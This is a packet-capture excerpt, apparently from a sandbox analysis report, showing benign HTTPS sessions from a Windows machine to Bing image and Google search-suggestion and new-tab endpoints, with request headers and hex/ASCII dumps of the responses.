2024-11-23 01:55:20 UTC	16384	IN	Data Raw: ad 78 da da 38 2d 74 fb e5 92 37 bc b0 48 65 bb d3 ae 1d be 48 dd 43 a6 f4 fe e8 e8 71 fd ea e6 f5 2f 07 7c 44 bf f1 e3 f8 7f 4f d2 6c 5a fa ea 15 96 d2 e1 35 18 d5 66 8c ae ed f1 3b 60 3f cb f8 8a ed c3 50 95 79 73 de fd ce 65 89 8a 86 81 e0 ff 00 18 68 76 52 6b 9a a6 ad 69 e6 dc 45 69 0b 58 bc a8 cd 02 4d e6 61 c4 a7 f8 17 69 aa de 07 d5 2f 35 08 f5 9b 3d 35 e0 d6 ed ed ed fc a9 a1 49 fc af 94 f0 9c f3 f2 8f bf df 9a d3 f0 bd b6 a1 a7 68 f7 6b a8 47 22 ea 57 1f 7d de 0d cb 33 23 6d 41 d3 6c 8a ff 00 3a 1f f6 aa cf c3 5b dd 2b fb 37 c4 9e 1d 87 4d 8f 4b b8 f1 1e 9c ca f7 c9 6a ab f6 28 d1 86 f9 3b 73 e9 fe e5 7b 54 69 51 49 d3 6b fe 1c e7 a9 29 3d 4f 37 d7 be 14 f8 ba 5b d8 b5 1d 4a f6 d2 0b 79 62 55 0e ee bb 6e 58 c9 f2 aa 22 f5 5e 7a f1 51 f8 ae 35 d2 Data Ascii: x8-t7HeHCq/\|DOlZ5f;`?PysehvRkiEiXMai/5=5IhkG"W}3#mAl:[+7MKj(;s{TiQIk)=O7[JybUnX"^zQ5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49732	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:19 UTC	346	OUT	GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 770657 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2D432A1019F64947B3FB0E5EE1AA889F Ref B: EWR30EDGE0215 Ref C: 2024-11-23T01:55:19Z Date: Sat, 23 Nov 2024 01:55:19 GMT Connection: close
2024-11-23 01:55:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d 32 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 34 3a 32 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``2ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:24:228
2024-11-23 01:55:19 UTC	16384	IN	Data Raw: e3 7b ab 74 4f dd f9 92 7e f2 9d 1c 7f be ff 00 9e 94 f8 e0 ba d4 25 93 64 3e 63 f9 7e 67 fc 05 6a 25 36 d9 29 b5 a3 35 fe 23 e9 ba 1c 36 b6 49 a0 c5 37 da 23 89 ff 00 b4 7c cf ef ef f9 76 d7 22 ac 16 df 8f bd 5d 4f 8b 7c 41 7f e2 cf 11 7d b5 ec ed 6d fc bb 78 63 78 ed a2 d8 9b 63 4d 95 ca 6d fd ec 89 5a 42 2d a4 69 87 52 50 e5 93 d5 13 aa ff 00 c4 bf e4 aa ac af dc 50 ff 00 2c 7b 28 69 5d aa ad 63 a2 31 68 6b f5 a3 9a 73 26 df 9c 0f 96 9b cd 05 8e ff 00 96 34 de 68 e6 8e 68 00 e6 8e 69 cb 1f f7 a9 bc d0 17 4c 3f da a7 03 ba 3d b4 22 bd 3a dd 6a 89 6e c4 6e bb 68 e6 a4 8e 2d d2 d2 48 86 36 c0 a4 87 75 7b 0c e6 8e 69 d1 ae fa 3c b3 eb 45 82 e3 79 a3 9a 1d 76 d1 cd 21 87 35 35 93 22 c9 f3 d4 28 db 6b 63 45 82 c6 ef 52 8c 6a 13 79 10 6c df 21 a6 95 d9 15 1d Data Ascii: {tO~%d>c~gj%6)5#6I7#\|v"]O\|A}mxcxcMmZB-iRPP,{(i]c1hks&4hhiL?=":jnnh-H6u{i<Eyv!55"(kcERjyl!
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: 83 27 ef ff 00 d4 ef f2 ed db f8 eb 83 f1 3e ab 69 a2 eb 91 e8 be 1b ff 00 4c b5 d2 ee 61 ff 00 48 b9 fb f7 72 af fe cb 5c 55 31 d1 c4 41 fd 5d ea 8c 6a 62 9d 59 25 05 6b 1f 5d 7c 24 d4 f4 5b dd 26 4b 5b db 3f b1 49 1f ee fc b8 a2 df e6 4b fe fd 73 fe 22 f8 9e fe 1d b4 d3 6e af b4 29 7f b1 e3 d4 66 b7 92 48 e5 fe 35 fe ea ff 00 15 72 5e 16 f1 7f 88 25 f1 16 8b a4 09 ad 23 ba 92 54 8e 4f f9 f7 b4 9e 4f 9d bf df f9 6b cf a4 6d 4a e3 56 92 d7 c7 1a c5 af 91 1c 93 7d 8a 3f b5 a3 fe f7 7e e6 7d bf ed 57 c3 bc bf eb 71 9c 71 11 f7 7f 33 9e 12 82 ab a1 ec 57 5a be ab f1 92 ee db fb 77 4e d4 34 af 09 69 f1 ba 69 d6 d1 7d fb f7 6f e3 7f f6 56 bc 37 e3 b7 c2 0d 73 4f f1 5e 81 68 9a ec be 25 92 e2 3d 9f 67 8a 2f df 41 12 bf f8 57 b0 78 57 e2 d7 87 bf e1 20 b1 d0 ae Data Ascii: '>iLaHr\U1A]jbY%k]\|$[&K[?IKs"n)fH5r^%#TOOkmJV}?~}Wqq3WZwN4ii}oV7sO^h%=g/AWxW
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: 74 fb 7f ec eb 3f b4 5c dc 1f fd 14 9f ed 9a 9c b3 19 89 95 06 f1 aa d2 2f 09 8a a9 ca fd ba d4 f3 85 2e df 20 34 f8 ed 9d be e8 af 5b f8 b3 f0 96 c7 c1 1e 03 b2 bd 9f 52 9a e3 5e b8 d9 25 cd b4 71 6d 8a d1 19 33 c9 fe f5 64 78 12 d6 1b af 09 49 0d b6 93 0e f9 24 f2 2e 35 5b 89 7e 48 f3 ce d5 af 46 96 32 95 58 39 d3 77 46 f2 c7 41 d3 e7 a7 ae b6 3c df e7 fb 95 63 cd 55 fd d3 d5 9f 11 49 6d fd a1 b6 0f 9e 38 fe 5a a3 94 69 2b a2 32 ba 4c ea 4f 9e 2a 4d 58 5b a9 de 6f f7 6a 1e 6a e3 b2 34 5b 2a 29 a4 23 e4 aa ea 54 65 6d 12 20 e6 a4 8d bf 73 42 c5 23 7c d5 24 cb ba 3d ff 00 72 9d d1 4d ab 85 d2 7f ab fd ef 99 be 8d ab 0f cd fe b2 a1 64 db 4e dc eb 15 08 56 d0 6e e7 6a b1 1d b7 f0 7f 1d 57 b5 ff 00 59 5a 5e 6a 5b cb f3 d4 39 34 45 49 35 a2 28 dc db b4 3d 6a Data Ascii: t?\/. 4[R^%qm3dxI$.5[~HF2X9wFA<cUIm8Zi+2LOMX[ojj4[)#Tem sB#\|$=rMdNVnjWYZ^j[94EI5(=j
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: c1 73 33 47 b3 fd 5a 54 1a a7 96 ad f2 7c f4 2d 47 19 c9 ce cc ac a2 2a 87 9a b9 a6 d9 fd a3 ee d4 ad 06 d8 be 4a 6d 97 ed 62 9b 45 5d a8 b4 54 f6 f0 7f 1d 14 73 10 ea 24 cf b3 75 9f 0d 5a 68 fa 4d 8d d7 89 34 db bb d8 ed ed bf d1 a4 ff 00 96 37 0f bf e7 db 5d 7e 9b e0 5d 26 e3 49 b6 d5 2f 61 b4 b2 fd da 7d 9a 49 7f b9 fe ed 6f 7c 5b f1 c5 84 5a 7d 8e 82 f3 5a 49 a6 c7 fe 97 1e a5 e5 7c f1 bc ae ff 00 c3 ef 55 60 9e 0b 2d 12 c7 4b ba 9a 6f b5 5e d9 3c 92 49 ff 00 3e fb 7f b9 5f 9a d6 c5 e2 39 2f 1d cf 46 58 67 4d b2 69 fc 4b a2 da 43 e4 59 4d e6 47 65 27 97 fe ab fe 05 5c 04 7a d4 1f f0 b2 24 4d 46 ce 69 20 b8 fd e7 97 ff 00 3e ff 00 ed 57 5b e1 1b c9 f5 5f b3 59 3e 9b 34 7e 67 fa 44 97 32 c4 9b ee 3f 87 ee d5 af 8b 9e 13 f0 f6 89 e0 8b ed 5d e1 f3 2f a3 Data Ascii: s3GZT\|-G*JmbE]Ts$uZhM47]~]&I/a}Io\|[Z}ZI\|U`-Ko^<I>_9/FXgMiKCYMGe'\z$MFi >W[_Y>4~gD2?]/
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: e6 6a 5f f2 d3 f8 d2 37 6a ee af be 18 5f de ea 1a 6d d4 fe 2a fb 45 f5 94 9e 5c 76 57 31 79 2f 6e ec 9f fa 0d 79 b7 8d 3e 1c f8 de 28 63 79 ec e6 b7 82 f6 f7 cb 96 48 a5 fe ef f7 bf d9 a8 a3 8a 8b 4e 30 91 95 6c b6 1f 0d b4 3b 29 ec 74 5d 6f 50 b2 d3 be d9 fd 9d 3c 9f e8 f7 3f f4 cd ff 00 bd 4c d5 7c 43 7f e1 fb bf ec 4b 29 bf b4 63 b7 fd e7 da 6d be 4f 31 fe ef cc ff 00 ec d6 27 86 7c 35 e2 1f 10 78 8a 4b 28 fc 98 ee ad f7 dd fe f6 5f ee a7 f1 32 fd e6 6a e4 bc 63 73 ad 68 ff 00 66 df 67 0f 99 e5 cd e6 47 14 4f e4 c6 ec 9f c5 fe e5 4d 39 55 94 ed 27 73 97 fb 35 53 5c ed 68 7a 36 a4 ba 16 b7 34 68 97 9f 6d f2 ed 93 cc fd ef fa b7 6a b9 a5 2e 93 a7 fe e2 ca 1f 2e b9 0d 3b 5c d4 a5 f0 cc 69 fd 9b 69 fe b5 24 f3 22 8b fd 8a 96 38 35 29 61 df 6b fe be 4f f5 Data Ascii: j_7j_m*E\vW1y/ny>(cyHN0l;)t]oP<?L\|CK)cmO1'\|5xK(_2jcshfgGOM9U's5S\hz64hmj..;\ii$"85)akO
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: ed a8 2e 3c cb a9 ff 00 e5 a7 fa cf 36 bc df 4b 91 e5 f9 fc a9 77 d6 c4 0b 3b cb b1 ff 00 d5 d7 7c 68 26 96 87 85 3c 47 22 69 ee 6b be 9b a6 ea 1a 8e cb 5f dd d5 8f f8 43 65 96 6d 90 4f 17 fd b4 a9 fc 3f a7 c6 f5 d3 41 02 27 dc ad 9d 47 0d 13 39 14 79 f5 67 25 07 83 2f 1f ef 98 a9 ff 00 f0 88 dc 27 78 ab b8 b5 8a 0a 9a 78 a3 fb e9 53 f5 99 5c cf d9 3e a7 11 6b e1 af f9 e9 35 6c e9 ba 2c 76 ff 00 72 b6 7c aa 73 c5 b2 94 ab 39 22 52 51 77 48 ce 8f 4f df 35 4f 05 9c 76 f7 75 6a 3f 33 ee 24 35 76 d6 0f ef d6 13 e6 5a 95 ed 17 72 7d 1e da 34 9b 7f fc b4 ae a2 c6 29 1e b1 ac 62 f2 a6 de f5 a9 6b 73 1b 4d bd 2b c4 c5 46 52 67 45 0a 96 57 2d 3a c1 14 df 24 3e 65 61 dd 4b a6 e9 9e 64 f3 cd fb cf f5 9f bd ab 57 d3 dd bc db 2d 61 9a 4f fa 69 5c d5 df 85 75 6d 56 ee Data Ascii: .<6Kw;\|h&<G"ik_CemO?A'G9yg%/'xxS\>k5l,vr\|s9"RQwHO5Ovuj?3$5vZr}4)bksM+FRgEW-:$>eaKdW-aOi\umV
2024-11-23 01:55:20 UTC	16065	IN	Data Raw: c4 77 16 fb f8 7f e1 fb b5 32 c9 6b 28 ba 91 76 5d 11 c7 ed 94 ee a5 23 b6 f8 bb aa 47 67 e1 3f 09 a4 3a 76 a0 f2 69 d2 5c c1 a8 db 4b 2f fc bc 79 db be 7f ae ea ea be 1c ff 00 c2 35 e2 5b 48 dd fc 9f 3e 3b 67 b7 d4 ac af a2 f2 52 39 77 ff 00 0f f2 ae 0f c3 37 9f 6b fb 4e 91 3d 9c d2 6a 3a ac 6f 27 99 e6 ef 78 ee 17 2f 13 ff 00 8d 50 f0 7d 8f 8a 3f b7 23 83 57 bc 9a 38 24 df 77 e5 c7 f3 fd a2 7f e0 8f e5 fe 2d d5 d5 0a 3f bb e5 96 8c eb a3 ee ca e7 b2 78 f3 e0 cf 84 2d f4 48 d2 cb 52 fd fd c6 ff 00 2e db 4d 89 26 79 3e 4a f0 2d 63 4c fe cf b4 b2 df ac 7d 8e ef 4e 8f f7 91 c9 0b a3 f9 bb fe e7 fb 4c b5 ea fa 8e ab e2 ff 00 0a 1b dd 52 7b c8 b4 ef 13 5c 5b 79 9f 66 92 2f dc c6 8d f7 bf d9 e6 b8 0f 12 78 e6 0f 14 69 d2 5d 6b a6 59 35 8d 3e 5f b5 f9 92 9d f6 Data Ascii: w2k(v]#Gg?:vi\K/y5[H>;gR9w7kN=j:o'x/P}?#W8$w-?x-HR.M&y>J-cL}NLR{\[yf/xi]kY5>_
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: b9 ab 11 41 27 d9 7e d2 92 e2 85 14 55 d2 2a f3 57 34 75 df 36 cf 27 cc a2 c6 da 36 8f 7c b3 79 75 0a ef 4b 8f dd 49 f3 7a d3 50 e5 64 3d 74 24 78 3f d2 b6 4d fb ba af 37 de 15 af 1d a4 d7 56 d9 f3 62 46 ac a9 e0 92 29 76 3d 54 d6 9a 21 45 dc 6f 98 7d 2a 58 f6 34 7f 3d 40 dc 1a 73 ff 00 b1 59 f3 3b 94 e3 71 d2 37 ef be 4a 6c 8d ba 9b cd 1c d2 94 ae 50 73 52 db cd b0 e1 fe e5 45 cd 1c d2 57 4c 03 69 a1 1b 6d 58 b1 29 e6 6c 7f e3 a4 ba 48 e2 9b 62 1f 32 ab 95 0a e3 60 9e 68 a6 f3 93 ef d1 51 3f 5a 2a 6e fb 87 2a 3d df c5 5a d7 89 2d fc 79 a2 7c 42 d2 ec ff 00 d2 bc bf b3 c7 e6 c5 bd 24 75 fd df fe 83 5e 71 7d af 5d ea 7e 36 d3 af 7c 4f 7b a8 48 2d e5 fd e0 3f f2 c3 e7 dd b5 3d b3 5f 58 78 ba c7 49 d7 7c c8 2f 74 d8 74 e9 3c cf 32 3f 2a 5d 89 5e 27 f1 0b c1 Data Ascii: A'~UW4u6'6\|yuKIzPd=t$x?M7VbF)v=T!Eo}X4=@sY;q7JlPsREWLimX)lHb2`hQ?Zn=Z-y\|B$u^q}]~6\|O{H-?=_XxI\|/tt<2?*]^'
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: b4 8f 0d 68 41 3d a2 5a 6c 9e ad 6d 8e 2b 4d f0 7f cb 4a 9e 66 3e 5b ee 57 8e 78 12 1a af 25 f4 69 0f 97 07 ee ea 8c 9e 7a 7f d7 3a af 1b 6d f9 e9 f2 8d 24 8b 1b 63 fb ef 53 fd 99 25 8b fd 4f 97 54 3c f9 1a ad 7d af f7 35 4b 64 05 39 b7 a7 c8 69 02 1d 9b aa 46 64 63 c0 d9 4d 98 22 cb f2 1d e2 a6 56 dc a1 9c d4 d6 26 dc 4b fe 93 14 92 27 a4 66 a1 e6 8e 6b 30 34 af 2c 2d 16 c7 ed 56 ba 94 32 73 fe aa 4f 96 5a cd e6 8e 68 e6 80 0e 68 a1 7a d1 5a 28 b6 07 de ba a2 c1 a5 78 66 3b bb a8 6d 35 5b af f9 e7 7d 0f 9d e5 a3 27 ee fe f7 f1 ef f9 6b 9e 9b fb 27 c5 ba 4c 7e 27 be b3 9a 48 2c ef 52 3f b3 47 f7 27 b7 d8 9e 6a ff 00 c0 2b b2 d5 7c 2b 7f e2 59 a4 b5 b5 fe cf fd de a3 6d 3f da 7c df 9e 44 5a 2f bc 23 27 86 b4 3f ec 84 9a 18 ed 74 e8 a6 b8 f3 3f e7 e3 77 cc Data Ascii: hA=Zlm+MJf>[Wx%iz:m$cS%OT<}5Kd9iFdcM"V&K'fk04,-V2sOZhhzZ(xf;m5[}'k'L~'H,R?G'j+\|+Ym?\|DZ/#'?t?w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49740	172.217.21.36	443	7604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 01:55:21 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:21 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-8WG45YcscaMIvTurnCXSGQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 01:55:21 UTC	124	IN	Data Raw: 33 31 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 72 63 61 6e 65 20 73 65 61 73 6f 6e 20 32 20 61 63 74 20 33 22 2c 22 61 64 61 20 63 61 72 64 61 6e 6f 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 67 61 6d 65 20 64 65 61 6c 73 22 2c 22 69 63 65 6c 61 6e 64 20 76 6f 6c 63 61 6e 6f 20 65 72 75 70 74 69 6f 6e Data Ascii: 31e)]}'["",["arcane season 2 act 3","ada cardano price prediction","nintendo switch game deals","iceland volcano eruption
2024-11-23 01:55:21 UTC	681	IN	Data Raw: 20 62 6c 75 65 20 6c 61 67 6f 6f 6e 22 2c 22 6f 68 69 6f 20 73 74 61 74 65 20 62 61 73 6b 65 74 62 61 6c 6c 20 62 72 61 64 73 68 61 77 22 2c 22 6a 61 6d 65 73 20 77 65 62 62 20 74 65 6c 65 73 63 6f 70 65 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 64 65 63 65 6d 62 65 72 20 73 73 69 20 70 61 79 6d 65 6e 74 22 2c 22 6d 67 6d 2b 20 66 72 6f 6d 20 73 65 61 73 6f 6e 20 34 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 Data Ascii: blue lagoon","ohio state basketball bradshaw","james webb telescope","social security december ssi payment","mgm+ from season 4"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2V
2024-11-23 01:55:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49739	172.217.21.36	443	7604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49737	172.217.21.36	443	7604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:20 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 01:55:21 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 01:55:21 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 01:55:21 UTC	372	IN	Data Raw: 32 32 36 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 226d)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 01:55:21 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-23 01:55:21 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e 